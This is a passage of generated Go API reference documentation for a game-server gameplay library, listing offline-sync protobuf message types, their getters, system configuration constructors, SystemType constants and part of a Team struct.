func (*SyncAchievementsUpdate) GetClaimTimeSec

func (x *SyncAchievementsUpdate) GetClaimTimeSec() int64

func (*SyncAchievementsUpdate) GetCount

func (x *SyncAchievementsUpdate) GetCount() int64

func (*SyncAchievementsUpdate) GetCreateTimeSec

func (x *SyncAchievementsUpdate) GetCreateTimeSec() int64

func (*SyncAchievementsUpdate) GetTotalClaimTimeSec

func (x *SyncAchievementsUpdate) GetTotalClaimTimeSec() int64

func (*SyncAchievementsUpdate) GetUpdateTimeSec

func (x *SyncAchievementsUpdate) GetUpdateTimeSec() int64

func (*SyncAchievementsUpdate) ProtoMessage

func (*SyncAchievementsUpdate) ProtoMessage()

func (*SyncAchievementsUpdate) ProtoReflect

func (x *SyncAchievementsUpdate) ProtoReflect() protoreflect.Message

func (*SyncAchievementsUpdate) Reset

func (x *SyncAchievementsUpdate) Reset()

func (*SyncAchievementsUpdate) String

func (x *SyncAchievementsUpdate) String() string

type SyncEconomy

type SyncEconomy struct {

	// Currencies deltas.
	Currencies map[string]int64 `` /* 162-byte string literal not displayed */
	// Economy modifiers to add.
	Modifiers []*ActiveRewardModifier `protobuf:"bytes,2,rep,name=modifiers,proto3" json:"modifiers,omitempty"`
	// contains filtered or unexported fields
}

Input for an offline state sync operation for the economy system.

func (*SyncEconomy) Descriptor deprecated

func (*SyncEconomy) Descriptor() ([]byte, []int)

Deprecated: Use SyncEconomy.ProtoReflect.Descriptor instead.

func (*SyncEconomy) GetCurrencies

func (x *SyncEconomy) GetCurrencies() map[string]int64

func (*SyncEconomy) GetModifiers

func (x *SyncEconomy) GetModifiers() []*ActiveRewardModifier

func (*SyncEconomy) ProtoMessage

func (*SyncEconomy) ProtoMessage()

func (*SyncEconomy) ProtoReflect

func (x *SyncEconomy) ProtoReflect() protoreflect.Message

func (*SyncEconomy) Reset

func (x *SyncEconomy) Reset()

func (*SyncEconomy) String

func (x *SyncEconomy) String() string

type SyncEnergy

type SyncEnergy struct {

	// Energies and associated full sync data.
	Energies map[string]*SyncEnergyState `` /* 157-byte string literal not displayed */
	// Energy modifiers to add.
	Modifiers []*EnergyModifier `protobuf:"bytes,2,rep,name=modifiers,proto3" json:"modifiers,omitempty"`
	// contains filtered or unexported fields
}

Input for an offline state sync operation for the energy system.

func (*SyncEnergy) Descriptor deprecated

func (*SyncEnergy) Descriptor() ([]byte, []int)

Deprecated: Use SyncEnergy.ProtoReflect.Descriptor instead.

func (*SyncEnergy) GetEnergies

func (x *SyncEnergy) GetEnergies() map[string]*SyncEnergyState

func (*SyncEnergy) GetModifiers

func (x *SyncEnergy) GetModifiers() []*EnergyModifier

func (*SyncEnergy) ProtoMessage

func (*SyncEnergy) ProtoMessage()

func (*SyncEnergy) ProtoReflect

func (x *SyncEnergy) ProtoReflect() protoreflect.Message

func (*SyncEnergy) Reset

func (x *SyncEnergy) Reset()

func (*SyncEnergy) String

func (x *SyncEnergy) String() string

type SyncEnergyState

type SyncEnergyState struct {

	// Current count.
	Count int64 `protobuf:"varint,1,opt,name=count,proto3" json:"count,omitempty"`
	// Time when the energy started refilling.
	RefillStartTimeSec int64 `protobuf:"varint,2,opt,name=refill_start_time_sec,json=refillStartTimeSec,proto3" json:"refill_start_time_sec,omitempty"`
	// contains filtered or unexported fields
}

Full state (not delta) for an energy.

func (*SyncEnergyState) Descriptor deprecated

func (*SyncEnergyState) Descriptor() ([]byte, []int)

Deprecated: Use SyncEnergyState.ProtoReflect.Descriptor instead.

func (*SyncEnergyState) GetCount

func (x *SyncEnergyState) GetCount() int64

func (*SyncEnergyState) GetRefillStartTimeSec

func (x *SyncEnergyState) GetRefillStartTimeSec() int64

func (*SyncEnergyState) ProtoMessage

func (*SyncEnergyState) ProtoMessage()

func (*SyncEnergyState) ProtoReflect

func (x *SyncEnergyState) ProtoReflect() protoreflect.Message

func (*SyncEnergyState) Reset

func (x *SyncEnergyState) Reset()

func (*SyncEnergyState) String

func (x *SyncEnergyState) String() string

type SyncEventLeaderboardUpdate

type SyncEventLeaderboardUpdate struct {

	// Score.
	Score int64 `protobuf:"varint,1,opt,name=score,proto3" json:"score,omitempty"`
	// Subscore.
	Subscore int64 `protobuf:"varint,2,opt,name=subscore,proto3" json:"subscore,omitempty"`
	// Time when the score was generated on the client.
	UpdateTimeSec int64 `protobuf:"varint,3,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// contains filtered or unexported fields
}

Single event leaderboard update.

func (*SyncEventLeaderboardUpdate) Descriptor deprecated

func (*SyncEventLeaderboardUpdate) Descriptor() ([]byte, []int)

Deprecated: Use SyncEventLeaderboardUpdate.ProtoReflect.Descriptor instead.

func (*SyncEventLeaderboardUpdate) GetScore

func (x *SyncEventLeaderboardUpdate) GetScore() int64

func (*SyncEventLeaderboardUpdate) GetSubscore

func (x *SyncEventLeaderboardUpdate) GetSubscore() int64

func (*SyncEventLeaderboardUpdate) GetUpdateTimeSec

func (x *SyncEventLeaderboardUpdate) GetUpdateTimeSec() int64

func (*SyncEventLeaderboardUpdate) ProtoMessage

func (*SyncEventLeaderboardUpdate) ProtoMessage()

func (*SyncEventLeaderboardUpdate) ProtoReflect

func (*SyncEventLeaderboardUpdate) Reset

func (x *SyncEventLeaderboardUpdate) Reset()

func (*SyncEventLeaderboardUpdate) String

func (x *SyncEventLeaderboardUpdate) String() string

type SyncEventLeaderboards

type SyncEventLeaderboards struct {

	// Updates for various event leaderboards, keyed by event leaderboard identifier.
	EventLeaderboards map[string]*SyncEventLeaderboardUpdate `` /* 200-byte string literal not displayed */
	// contains filtered or unexported fields
}

Input for an offline state sync of event leaderboard updates.

func (*SyncEventLeaderboards) Descriptor deprecated

func (*SyncEventLeaderboards) Descriptor() ([]byte, []int)

Deprecated: Use SyncEventLeaderboards.ProtoReflect.Descriptor instead.

func (*SyncEventLeaderboards) GetEventLeaderboards

func (x *SyncEventLeaderboards) GetEventLeaderboards() map[string]*SyncEventLeaderboardUpdate

func (*SyncEventLeaderboards) ProtoMessage

func (*SyncEventLeaderboards) ProtoMessage()

func (*SyncEventLeaderboards) ProtoReflect

func (x *SyncEventLeaderboards) ProtoReflect() protoreflect.Message

func (*SyncEventLeaderboards) Reset

func (x *SyncEventLeaderboards) Reset()

func (*SyncEventLeaderboards) String

func (x *SyncEventLeaderboards) String() string

type SyncInventory

type SyncInventory struct {

	// Map of instance IDs to update operation data.
	Items map[string]*SyncInventoryItem `` /* 151-byte string literal not displayed */
	// contains filtered or unexported fields
}

Input for an offline state sync operation for the inventory system.

func (*SyncInventory) Descriptor deprecated

func (*SyncInventory) Descriptor() ([]byte, []int)

Deprecated: Use SyncInventory.ProtoReflect.Descriptor instead.

func (*SyncInventory) GetItems

func (x *SyncInventory) GetItems() map[string]*SyncInventoryItem

func (*SyncInventory) ProtoMessage

func (*SyncInventory) ProtoMessage()

func (*SyncInventory) ProtoReflect

func (x *SyncInventory) ProtoReflect() protoreflect.Message

func (*SyncInventory) Reset

func (x *SyncInventory) Reset()

func (*SyncInventory) String

func (x *SyncInventory) String() string

type SyncInventoryItem

type SyncInventoryItem struct {

	// Item identifier from config mapping.
	ItemId string `protobuf:"bytes,1,opt,name=item_id,json=itemId,proto3" json:"item_id,omitempty"`
	// Number of items to add or remove.
	Delta int64 `protobuf:"varint,2,opt,name=delta,proto3" json:"delta,omitempty"`
	// Item properties with string values.
	StringProperties map[string]string `` /* 197-byte string literal not displayed */
	// Item properties with numeric values.
	NumericProperties map[string]float64 `` /* 202-byte string literal not displayed */
	// contains filtered or unexported fields
}

Sync operation for a single inventory item.

func (*SyncInventoryItem) Descriptor deprecated

func (*SyncInventoryItem) Descriptor() ([]byte, []int)

Deprecated: Use SyncInventoryItem.ProtoReflect.Descriptor instead.

func (*SyncInventoryItem) GetDelta

func (x *SyncInventoryItem) GetDelta() int64

func (*SyncInventoryItem) GetItemId

func (x *SyncInventoryItem) GetItemId() string

func (*SyncInventoryItem) GetNumericProperties

func (x *SyncInventoryItem) GetNumericProperties() map[string]float64

func (*SyncInventoryItem) GetStringProperties

func (x *SyncInventoryItem) GetStringProperties() map[string]string

func (*SyncInventoryItem) ProtoMessage

func (*SyncInventoryItem) ProtoMessage()

func (*SyncInventoryItem) ProtoReflect

func (x *SyncInventoryItem) ProtoReflect() protoreflect.Message

func (*SyncInventoryItem) Reset

func (x *SyncInventoryItem) Reset()

func (*SyncInventoryItem) String

func (x *SyncInventoryItem) String() string

type SyncProgressionUpdate

type SyncProgressionUpdate struct {

	// The counts to set.
	Counts map[string]int64 `` /* 154-byte string literal not displayed */
	// Time when the progression was first updated on the client, if new.
	CreateTimeSec int64 `protobuf:"varint,2,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// Time when the progression update was generated on the client.
	UpdateTimeSec int64 `protobuf:"varint,3,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// Cost paid to unlock the progression.
	Cost *ProgressionCost `protobuf:"bytes,4,opt,name=cost,proto3" json:"cost,omitempty"`
	// contains filtered or unexported fields
}

Single progression update.

func (*SyncProgressionUpdate) Descriptor deprecated

func (*SyncProgressionUpdate) Descriptor() ([]byte, []int)

Deprecated: Use SyncProgressionUpdate.ProtoReflect.Descriptor instead.

func (*SyncProgressionUpdate) GetCost

func (x *SyncProgressionUpdate) GetCost() *ProgressionCost

func (*SyncProgressionUpdate) GetCounts

func (x *SyncProgressionUpdate) GetCounts() map[string]int64

func (*SyncProgressionUpdate) GetCreateTimeSec

func (x *SyncProgressionUpdate) GetCreateTimeSec() int64

func (*SyncProgressionUpdate) GetUpdateTimeSec

func (x *SyncProgressionUpdate) GetUpdateTimeSec() int64

func (*SyncProgressionUpdate) ProtoMessage

func (*SyncProgressionUpdate) ProtoMessage()

func (*SyncProgressionUpdate) ProtoReflect

func (x *SyncProgressionUpdate) ProtoReflect() protoreflect.Message

func (*SyncProgressionUpdate) Reset

func (x *SyncProgressionUpdate) Reset()

func (*SyncProgressionUpdate) String

func (x *SyncProgressionUpdate) String() string

type SyncProgressions

type SyncProgressions struct {

	// Updates for various progressions, keyed by progression identifier.
	Progressions map[string]*SyncProgressionUpdate `` /* 165-byte string literal not displayed */
	// contains filtered or unexported fields
}

Input for an offline state sync of progressions updates.

func (*SyncProgressions) Descriptor deprecated

func (*SyncProgressions) Descriptor() ([]byte, []int)

Deprecated: Use SyncProgressions.ProtoReflect.Descriptor instead.

func (*SyncProgressions) GetProgressions

func (x *SyncProgressions) GetProgressions() map[string]*SyncProgressionUpdate

func (*SyncProgressions) ProtoMessage

func (*SyncProgressions) ProtoMessage()

func (*SyncProgressions) ProtoReflect

func (x *SyncProgressions) ProtoReflect() protoreflect.Message

func (*SyncProgressions) Reset

func (x *SyncProgressions) Reset()

func (*SyncProgressions) String

func (x *SyncProgressions) String() string

type SyncRequest

type SyncRequest struct {

	// Inventory.
	Inventory *SyncInventory `protobuf:"bytes,1,opt,name=inventory,proto3" json:"inventory,omitempty"`
	// Economy.
	Economy *SyncEconomy `protobuf:"bytes,2,opt,name=economy,proto3" json:"economy,omitempty"`
	// Achievements.
	Achievements *SyncAchievements `protobuf:"bytes,3,opt,name=achievements,proto3" json:"achievements,omitempty"`
	// Energy.
	Energy *SyncEnergy `protobuf:"bytes,4,opt,name=energy,proto3" json:"energy,omitempty"`
	// Event leaderboards.
	EventLeaderboards *SyncEventLeaderboards `protobuf:"bytes,5,opt,name=event_leaderboards,json=eventLeaderboards,proto3" json:"event_leaderboards,omitempty"`
	// Progressions.
	Progressions *SyncProgressions `protobuf:"bytes,6,opt,name=progressions,proto3" json:"progressions,omitempty"`
	// Stats. Message reused from standard synchronous stats updates.
	Stats *StatUpdateRequest `protobuf:"bytes,7,opt,name=stats,proto3" json:"stats,omitempty"`
	// Tutorials.
	Tutorials *SyncTutorials `protobuf:"bytes,8,opt,name=tutorials,proto3" json:"tutorials,omitempty"`
	// Unlockables.
	Unlockables *SyncUnlockables `protobuf:"bytes,9,opt,name=unlockables,proto3" json:"unlockables,omitempty"`
	// Streaks.
	Streaks *SyncStreaks `protobuf:"bytes,10,opt,name=streaks,proto3" json:"streaks,omitempty"`
	// contains filtered or unexported fields
}

Input for an offline state sync operation.

func (*SyncRequest) Descriptor deprecated

func (*SyncRequest) Descriptor() ([]byte, []int)

Deprecated: Use SyncRequest.ProtoReflect.Descriptor instead.

func (*SyncRequest) GetAchievements

func (x *SyncRequest) GetAchievements() *SyncAchievements

func (*SyncRequest) GetEconomy

func (x *SyncRequest) GetEconomy() *SyncEconomy

func (*SyncRequest) GetEnergy

func (x *SyncRequest) GetEnergy() *SyncEnergy

func (*SyncRequest) GetEventLeaderboards

func (x *SyncRequest) GetEventLeaderboards() *SyncEventLeaderboards

func (*SyncRequest) GetInventory

func (x *SyncRequest) GetInventory() *SyncInventory

func (*SyncRequest) GetProgressions

func (x *SyncRequest) GetProgressions() *SyncProgressions

func (*SyncRequest) GetStats

func (x *SyncRequest) GetStats() *StatUpdateRequest

func (*SyncRequest) GetStreaks

func (x *SyncRequest) GetStreaks() *SyncStreaks

func (*SyncRequest) GetTutorials

func (x *SyncRequest) GetTutorials() *SyncTutorials

func (*SyncRequest) GetUnlockables

func (x *SyncRequest) GetUnlockables() *SyncUnlockables

func (*SyncRequest) ProtoMessage

func (*SyncRequest) ProtoMessage()

func (*SyncRequest) ProtoReflect

func (x *SyncRequest) ProtoReflect() protoreflect.Message

func (*SyncRequest) Reset

func (x *SyncRequest) Reset()

func (*SyncRequest) String

func (x *SyncRequest) String() string

type SyncResponse

type SyncResponse struct {

	// Updated wallet data, if any.
	Wallet map[string]int64 `` /* 154-byte string literal not displayed */
	// Inventory.
	Inventory *Inventory `protobuf:"bytes,2,opt,name=inventory,proto3" json:"inventory,omitempty"`
	// Achievements.
	Achievements *AchievementList `protobuf:"bytes,3,opt,name=achievements,proto3" json:"achievements,omitempty"`
	// Energies.
	Energy *EnergyList `protobuf:"bytes,4,opt,name=energy,proto3" json:"energy,omitempty"`
	// Event leaderboards.
	EventLeaderboards []*EventLeaderboard `protobuf:"bytes,5,rep,name=event_leaderboards,json=eventLeaderboards,proto3" json:"event_leaderboards,omitempty"`
	// Progressions.
	Progressions *ProgressionList `protobuf:"bytes,6,opt,name=progressions,proto3" json:"progressions,omitempty"`
	// Stats.
	Stats *StatList `protobuf:"bytes,7,opt,name=stats,proto3" json:"stats,omitempty"`
	// Tutorials.
	Tutorials *TutorialList `protobuf:"bytes,8,opt,name=tutorials,proto3" json:"tutorials,omitempty"`
	// Unlockables.
	Unlockables *UnlockablesList `protobuf:"bytes,9,opt,name=unlockables,proto3" json:"unlockables,omitempty"`
	// The list of active reward modifiers.
	ActiveRewardModifiers []*ActiveRewardModifier `` /* 127-byte string literal not displayed */
	// Current server time.
	CurrentTimeSec int64 `protobuf:"varint,11,opt,name=current_time_sec,json=currentTimeSec,proto3" json:"current_time_sec,omitempty"`
	// Streaks.
	Streaks *StreaksList `protobuf:"bytes,12,opt,name=streaks,proto3" json:"streaks,omitempty"`
	// contains filtered or unexported fields
}

Resulting updates after an offline state sync operation. Fields are only populated if the corresponding updated was requested via the sync.

func (*SyncResponse) Descriptor deprecated

func (*SyncResponse) Descriptor() ([]byte, []int)

Deprecated: Use SyncResponse.ProtoReflect.Descriptor instead.

func (*SyncResponse) GetAchievements

func (x *SyncResponse) GetAchievements() *AchievementList

func (*SyncResponse) GetActiveRewardModifiers

func (x *SyncResponse) GetActiveRewardModifiers() []*ActiveRewardModifier

func (*SyncResponse) GetCurrentTimeSec

func (x *SyncResponse) GetCurrentTimeSec() int64

func (*SyncResponse) GetEnergy

func (x *SyncResponse) GetEnergy() *EnergyList

func (*SyncResponse) GetEventLeaderboards

func (x *SyncResponse) GetEventLeaderboards() []*EventLeaderboard

func (*SyncResponse) GetInventory

func (x *SyncResponse) GetInventory() *Inventory

func (*SyncResponse) GetProgressions

func (x *SyncResponse) GetProgressions() *ProgressionList

func (*SyncResponse) GetStats

func (x *SyncResponse) GetStats() *StatList

func (*SyncResponse) GetStreaks

func (x *SyncResponse) GetStreaks() *StreaksList

func (*SyncResponse) GetTutorials

func (x *SyncResponse) GetTutorials() *TutorialList

func (*SyncResponse) GetUnlockables

func (x *SyncResponse) GetUnlockables() *UnlockablesList

func (*SyncResponse) GetWallet

func (x *SyncResponse) GetWallet() map[string]int64

func (*SyncResponse) ProtoMessage

func (*SyncResponse) ProtoMessage()

func (*SyncResponse) ProtoReflect

func (x *SyncResponse) ProtoReflect() protoreflect.Message

func (*SyncResponse) Reset

func (x *SyncResponse) Reset()

func (*SyncResponse) String

func (x *SyncResponse) String() string

type SyncStreakUpdate

type SyncStreakUpdate struct {

	// Current progress count for this streak.
	Count int64 `protobuf:"varint,1,opt,name=count,proto3" json:"count,omitempty"`
	// Progress count for the current reset.
	CountCurrentReset int64 `protobuf:"varint,2,opt,name=count_current_reset,json=countCurrentReset,proto3" json:"count_current_reset,omitempty"`
	// Last count that was claimed.
	ClaimCount int64 `protobuf:"varint,3,opt,name=claim_count,json=claimCount,proto3" json:"claim_count,omitempty"`
	// When updates for this streak were first recorded.
	CreateTimeSec int64 `protobuf:"varint,4,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// When an update for this streak was most recently recorded.
	UpdateTimeSec int64 `protobuf:"varint,5,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// When the last claim for this streak was.
	ClaimTimeSec int64 `protobuf:"varint,6,opt,name=claim_time_sec,json=claimTimeSec,proto3" json:"claim_time_sec,omitempty"`
	// Record of rewards that have been claimed.
	ClaimedRewards []*StreakReward `protobuf:"bytes,7,rep,name=claimed_rewards,json=claimedRewards,proto3" json:"claimed_rewards,omitempty"`
	// contains filtered or unexported fields
}

Single streak state update.

func (*SyncStreakUpdate) Descriptor deprecated

func (*SyncStreakUpdate) Descriptor() ([]byte, []int)

Deprecated: Use SyncStreakUpdate.ProtoReflect.Descriptor instead.

func (*SyncStreakUpdate) GetClaimCount

func (x *SyncStreakUpdate) GetClaimCount() int64

func (*SyncStreakUpdate) GetClaimTimeSec

func (x *SyncStreakUpdate) GetClaimTimeSec() int64

func (*SyncStreakUpdate) GetClaimedRewards

func (x *SyncStreakUpdate) GetClaimedRewards() []*StreakReward

func (*SyncStreakUpdate) GetCount

func (x *SyncStreakUpdate) GetCount() int64

func (*SyncStreakUpdate) GetCountCurrentReset

func (x *SyncStreakUpdate) GetCountCurrentReset() int64

func (*SyncStreakUpdate) GetCreateTimeSec

func (x *SyncStreakUpdate) GetCreateTimeSec() int64

func (*SyncStreakUpdate) GetUpdateTimeSec

func (x *SyncStreakUpdate) GetUpdateTimeSec() int64

func (*SyncStreakUpdate) ProtoMessage

func (*SyncStreakUpdate) ProtoMessage()

func (*SyncStreakUpdate) ProtoReflect

func (x *SyncStreakUpdate) ProtoReflect() protoreflect.Message

func (*SyncStreakUpdate) Reset

func (x *SyncStreakUpdate) Reset()

func (*SyncStreakUpdate) String

func (x *SyncStreakUpdate) String() string

type SyncStreaks

type SyncStreaks struct {

	// Streak identifiers to reset.
	Resets []string `protobuf:"bytes,1,rep,name=resets,proto3" json:"resets,omitempty"`
	// Streak state updates keyed by streak identifier.
	Updates map[string]*SyncStreakUpdate `` /* 155-byte string literal not displayed */
	// contains filtered or unexported fields
}

Input for an offline state sync of streaks updates.

func (*SyncStreaks) Descriptor deprecated

func (*SyncStreaks) Descriptor() ([]byte, []int)

Deprecated: Use SyncStreaks.ProtoReflect.Descriptor instead.

func (*SyncStreaks) GetResets

func (x *SyncStreaks) GetResets() []string

func (*SyncStreaks) GetUpdates

func (x *SyncStreaks) GetUpdates() map[string]*SyncStreakUpdate

func (*SyncStreaks) ProtoMessage

func (*SyncStreaks) ProtoMessage()

func (*SyncStreaks) ProtoReflect

func (x *SyncStreaks) ProtoReflect() protoreflect.Message

func (*SyncStreaks) Reset

func (x *SyncStreaks) Reset()

func (*SyncStreaks) String

func (x *SyncStreaks) String() string

type SyncTutorials

type SyncTutorials struct {

	// Accept list.
	Accepts []string `protobuf:"bytes,1,rep,name=accepts,proto3" json:"accepts,omitempty"`
	// Decline list.
	Declines []string `protobuf:"bytes,2,rep,name=declines,proto3" json:"declines,omitempty"`
	// Abandon list.
	Abandons []string `protobuf:"bytes,3,rep,name=abandons,proto3" json:"abandons,omitempty"`
	// Updates to tutorial steps. Implicitly counts as accepting these tutorials, if not accepted already.
	Updates map[string]int64 `` /* 156-byte string literal not displayed */
	// contains filtered or unexported fields
}

Input for an offline state sync of tutorials updates.

func (*SyncTutorials) Descriptor deprecated

func (*SyncTutorials) Descriptor() ([]byte, []int)

Deprecated: Use SyncTutorials.ProtoReflect.Descriptor instead.

func (*SyncTutorials) GetAbandons

func (x *SyncTutorials) GetAbandons() []string

func (*SyncTutorials) GetAccepts

func (x *SyncTutorials) GetAccepts() []string

func (*SyncTutorials) GetDeclines

func (x *SyncTutorials) GetDeclines() []string

func (*SyncTutorials) GetUpdates

func (x *SyncTutorials) GetUpdates() map[string]int64

func (*SyncTutorials) ProtoMessage

func (*SyncTutorials) ProtoMessage()

func (*SyncTutorials) ProtoReflect

func (x *SyncTutorials) ProtoReflect() protoreflect.Message

func (*SyncTutorials) Reset

func (x *SyncTutorials) Reset()

func (*SyncTutorials) String

func (x *SyncTutorials) String() string

type SyncUnlockableUpdate

type SyncUnlockableUpdate struct {

	// Unlockable identifier from config.
	UnlockableId string `protobuf:"bytes,1,opt,name=unlockable_id,json=unlockableId,proto3" json:"unlockable_id,omitempty"`
	// Time this unlockabled was granted.
	CreateTimeSec int64 `protobuf:"varint,2,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// Unlock start time, if any.
	StartTimeSec int64 `protobuf:"varint,3,opt,name=start_time_sec,json=startTimeSec,proto3" json:"start_time_sec,omitempty"`
	// Unlock completion time, if any.
	UnlockTimeSec int64 `protobuf:"varint,4,opt,name=unlock_time_sec,json=unlockTimeSec,proto3" json:"unlock_time_sec,omitempty"`
	// contains filtered or unexported fields
}

Single unlockable update, either grant or unlock start.

func (*SyncUnlockableUpdate) Descriptor deprecated

func (*SyncUnlockableUpdate) Descriptor() ([]byte, []int)

Deprecated: Use SyncUnlockableUpdate.ProtoReflect.Descriptor instead.

func (*SyncUnlockableUpdate) GetCreateTimeSec

func (x *SyncUnlockableUpdate) GetCreateTimeSec() int64

func (*SyncUnlockableUpdate) GetStartTimeSec

func (x *SyncUnlockableUpdate) GetStartTimeSec() int64

func (*SyncUnlockableUpdate) GetUnlockTimeSec

func (x *SyncUnlockableUpdate) GetUnlockTimeSec() int64

func (*SyncUnlockableUpdate) GetUnlockableId

func (x *SyncUnlockableUpdate) GetUnlockableId() string

func (*SyncUnlockableUpdate) ProtoMessage

func (*SyncUnlockableUpdate) ProtoMessage()

func (*SyncUnlockableUpdate) ProtoReflect

func (x *SyncUnlockableUpdate) ProtoReflect() protoreflect.Message

func (*SyncUnlockableUpdate) Reset

func (x *SyncUnlockableUpdate) Reset()

func (*SyncUnlockableUpdate) String

func (x *SyncUnlockableUpdate) String() string

type SyncUnlockables

type SyncUnlockables struct {

	// Unlockable instance IDs to remove.
	Removes []string `protobuf:"bytes,1,rep,name=removes,proto3" json:"removes,omitempty"`
	// Unlockable updates keyed by instance identifier, such as new grants or unlock starts.
	Updates map[string]*SyncUnlockableUpdate `` /* 155-byte string literal not displayed */
	// contains filtered or unexported fields
}

Input for an offline state sync of unlockables updates.

func (*SyncUnlockables) Descriptor deprecated

func (*SyncUnlockables) Descriptor() ([]byte, []int)

Deprecated: Use SyncUnlockables.ProtoReflect.Descriptor instead.

func (*SyncUnlockables) GetRemoves

func (x *SyncUnlockables) GetRemoves() []string

func (*SyncUnlockables) GetUpdates

func (x *SyncUnlockables) GetUpdates() map[string]*SyncUnlockableUpdate

func (*SyncUnlockables) ProtoMessage

func (*SyncUnlockables) ProtoMessage()

func (*SyncUnlockables) ProtoReflect

func (x *SyncUnlockables) ProtoReflect() protoreflect.Message

func (*SyncUnlockables) Reset

func (x *SyncUnlockables) Reset()

func (*SyncUnlockables) String

func (x *SyncUnlockables) String() string

type System

type System interface {
	// GetType provides the runtime type of the gameplay system.
	GetType() SystemType

	// GetConfig returns the configuration type of the gameplay system.
	GetConfig() any
}

A System is a base type for a gameplay system.

type SystemConfig

type SystemConfig interface {
	// GetType returns the runtime type of the gameplay system.
	GetType() SystemType

	// GetConfigFile returns the configuration file used for the data definitions in the gameplay system.
	GetConfigFile() string

	// GetRegister returns true if the gameplay system's RPCs should be registered with the game server.
	GetRegister() bool

	// GetExtra returns the extra parameter used to configure the gameplay system.
	GetExtra() any
}

The SystemConfig describes the configuration that each gameplay system must use to configure itself.

func WithAchievementsSystem

func WithAchievementsSystem(configFile string, register bool) SystemConfig

WithAchievementsSystem configures an AchievementsSystem type and optionally registers its RPCs with the game server.

func WithAuctionsSystem

func WithAuctionsSystem(configFile string, register bool) SystemConfig

WithAuctionsSystem configures a AuctionsSystem type and optionally registers its RPCs with the game server.

func WithBaseSystem

func WithBaseSystem(configFile string, register bool, usernameOverride ...UsernameOverrideFn) SystemConfig

WithBaseSystem configures a BaseSystem type and optionally registers its RPCs with the game server.

func WithEconomySystem

func WithEconomySystem(configFile string, register bool, ironSrcPrivKey ...string) SystemConfig

WithEconomySystem configures an EconomySystem type and optionally registers its RPCs with the game server.

func WithEnergySystem

func WithEnergySystem(configFile string, register bool) SystemConfig

WithEnergySystem configures an EnergySystem type and optionally registers its RPCs with the game server.

func WithEventLeaderboardsSystem

func WithEventLeaderboardsSystem(configFile string, register bool) SystemConfig

WithEventLeaderboardsSystem configures an EventLeaderboardsSystem type and optionally registers its RPCs with the game server.

func WithIncentivesSystem

func WithIncentivesSystem(configFile string, register bool) SystemConfig

WithIncentivesSystem configures a IncentivesSystem type and optionally registers its RPCs with the game server.

func WithInventorySystem

func WithInventorySystem(configFile string, register bool) SystemConfig

WithInventorySystem configures an InventorySystem type and optionally registers its RPCs with the game server.

func WithLeaderboardsSystem

func WithLeaderboardsSystem(configFile string, register bool, validateWriteScore ...ValidateWriteScoreFn) SystemConfig

WithLeaderboardsSystem configures a LeaderboardsSystem type.

func WithProgressionSystem

func WithProgressionSystem(configFile string, register bool) SystemConfig

WithProgressionSystem configures a ProgressionSystem type and optionally registers its RPCs with the game server.

func WithStatsSystem

func WithStatsSystem(configFile string, register bool) SystemConfig

WithStatsSystem configures a StatsSystem type and optionally registers its RPCs with the game server.

func WithStreaksSystem

func WithStreaksSystem(configFile string, register bool) SystemConfig

WithStreaksSystem configures a StreaksSystem type and optionally registers its RPCs with the game server.

func WithTeamsSystem

func WithTeamsSystem(configFile string, register bool, validateCreateTeam ...ValidateCreateTeamFn) SystemConfig

WithTeamsSystem configures a TeamsSystem type and optionally registers its RPCs with the game server.

func WithTutorialsSystem

func WithTutorialsSystem(configFile string, register bool) SystemConfig

WithTutorialsSystem configures a TutorialsSystem type and optionally registers its RPCs with the game server.

func WithUnlockablesSystem

func WithUnlockablesSystem(configFile string, register bool) SystemConfig

WithUnlockablesSystem configures an UnlockablesSystem type and optionally registers its RPCs with the game server.

type SystemType

type SystemType uint

The SystemType identifies each of the gameplay systems.

const (
	SystemTypeUnknown SystemType = iota
	SystemTypeBase
	SystemTypeEnergy
	SystemTypeUnlockables
	SystemTypeTutorials
	SystemTypeLeaderboards
	SystemTypeStats
	SystemTypeTeams
	SystemTypeInventory
	SystemTypeAchievements
	SystemTypeEconomy
	SystemTypeEventLeaderboards
	SystemTypeProgression
	SystemTypeIncentives
	SystemTypeAuctions
	SystemTypeStreaks
)

type Team

type Team struct {

	// The ID of a team.
	Id string `protobuf:"bytes,1,opt,name=id,proto3" json:"id,omitempty"`
	// The ID of the user who created the team.
	CreatorId string `protobuf:"bytes,2,opt,name=creator_id,json=creatorId,proto3" json:"creator_id,omitempty"`
	// The unique name of the team.
	Name string `protobuf:"bytes,3,opt,name=name,proto3" json:"name,omitempty"`
	// A description for the team.
	Description string `protobuf:"bytes,4,opt,name=description,proto3" json:"description,omitempty"`
	// The language expected to be a tag which follows the BCP-47 spec.
	LangTag string `protobuf:"bytes,5,opt,name=lang_tag,json=langTag,proto3" json:"lang_tag,omitempty"`
	// Additional information stored as a JSON object.
	Metadata string `protobuf:"bytes,6,opt,name=metadata,proto3" json:"metadata,omitempty"`
	// A URL for an avatar image.
	AvatarUrl string `protobuf:"bytes,7,opt,name=avatar_url,json=avatarUrl,proto3" json:"avatar_url,omitempty"`
	// Anyone can join open groups, otherwise only admins can accept members.
	Open bool `protobuf:"varint,8,opt,name=open,proto3" json:"open,omitempty"`
	// The current count of all members in the group.
	EdgeCount int32 `protobuf:"varint,9,opt,name=edge_count,json=edgeCount,proto3" json:"edge_count,omitempty"`
	// The maximum number of members allowed.
	MaxCount int32 `protobuf:"varint,10,opt,name=max_count,json=maxCount,proto3" json:"max_count,omitempty"`
	// The UNIX timestamp when the group was created.
	CreateTimeSec int64 `protobuf:"varint,11,opt,name=create_time_sec,json=createTimeSec,proto3" json:"create_time_sec,omitempty"`
	// The UNIX timestamp when the group was last updated.
	UpdateTimeSec int64 `protobuf:"varint,12,opt,name=update_time_sec,json=updateTimeSec,proto3" json:"update_time_sec,omitempty"`
	// The icon artwork reference ID for the team, if any.
	Icon string `protobuf:"bytes,13,opt,name=icon,proto3" json:"icon,omitempty"`
	// contains filtered or unexported fields
}

A Team represents a group of users who play together.

func (*Team) Descriptor deprecated

func (*Team) Descriptor() ([]byte, []int)

Deprecated: Use Team.ProtoReflect.Descriptor instead.

func (*Team) GetAvatarUrl

func (x *Team) GetAvatarUrl() string

